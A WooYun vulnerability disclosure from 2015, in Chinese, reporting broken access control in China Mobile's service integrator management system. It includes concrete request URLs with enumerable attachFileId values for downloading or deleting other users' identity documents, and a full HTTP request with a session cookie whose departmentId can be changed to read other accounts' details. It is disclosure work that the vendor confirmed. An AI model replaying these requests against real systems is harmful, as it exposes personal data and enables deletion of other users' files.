当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0117816
漏洞标题：
中国移动服务集成商业务管理系统可越权读取他人帐号信息/下载或删除大量证件信息
相关厂商：
中国移动
漏洞作者：
超威蓝猫
提交时间：
2015-06-02 20:16
修复时间：
2015-07-20 18:08
公开时间：
2015-07-20 18:08
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
15
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-05： 厂商已经确认，细节仅向厂商公开
2015-06-15： 细节向核心白帽子及相关领域专家公开
2015-06-25： 细节向普通白帽子公开
2015-07-05： 细节向实习白帽子公开
2015-07-20： 细节向公众公开

简要描述：

中国移动服务集成商业务管理系统可越权读取他人帐号信息/下载或删除大量证件信息

详细说明：

http://si.power.10086.cn/si/portal/login.jsp 任何人都可以注册帐号。
【下载或删除大量证件信息】
登录后点击"资质合作"-"合作办理"-"新增资质合作"，上传一个文件。

sshot-2015-06-01-[1].png


sshot-2015-06-02-[1].png


得到如下链接：

http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100014391&ticket=46F7E46EEC319B9598DCB64194B3E05C&domain=si


修改其中的attachFileId参数，即可下载他人附件。（这是一个公差为1的等差数列 ._.
http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010000 “法人身份证.rar”
http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010001 “开户许可证（广安门）.rar”
http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010002 “税务登记证.rar”
...
http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010888 “法人身份证.jpg”
等...
我们点击删除：

sshot-2015-06-02-[2].png


sshot-2015-06-02-[3].png


修改这里的attachFileId就可以删除他人的文件，这里就不截图了，删太多不好 ._.
【越权读取他人帐号信息】
点击"系统管理" - "修改个人资料"

sshot-2015-06-02-[4].png


POST /server/auth/findDepartment.action HTTP/1.1
Host: si.power.10086.cn
Proxy-Connection: keep-alive
Content-Length: 81
Origin: http://si.power.10086.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://si.power.10086.cn/si/auth/individual/modifyInfo.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: WT_FPC=id=25519224df114d4083e1432127697326:lv=1432127697326:ss=1432127697326; JSESSIONID=46F7E46EEC319B9598DCB64194B3E05C
department.departmentId=1015441&ticket=46F7E46EEC319B9598DCB64194B3E05C&domain=si


修改department.departmentId即可越权查看他人帐号信息，包括公司名、手机号、邮箱、登录ID和并不知道加密方式的密码 ._.

sshot-2015-06-02-[5].png


sshot-2015-06-02-[6].png


顺手补张图

sshot-2015-06-02-[7].png

漏洞证明：

如上。

修复方案：

._. 还有大约100小时开始高考

版权声明：转载请注明来源 超威蓝猫@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-06-05 18:07

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无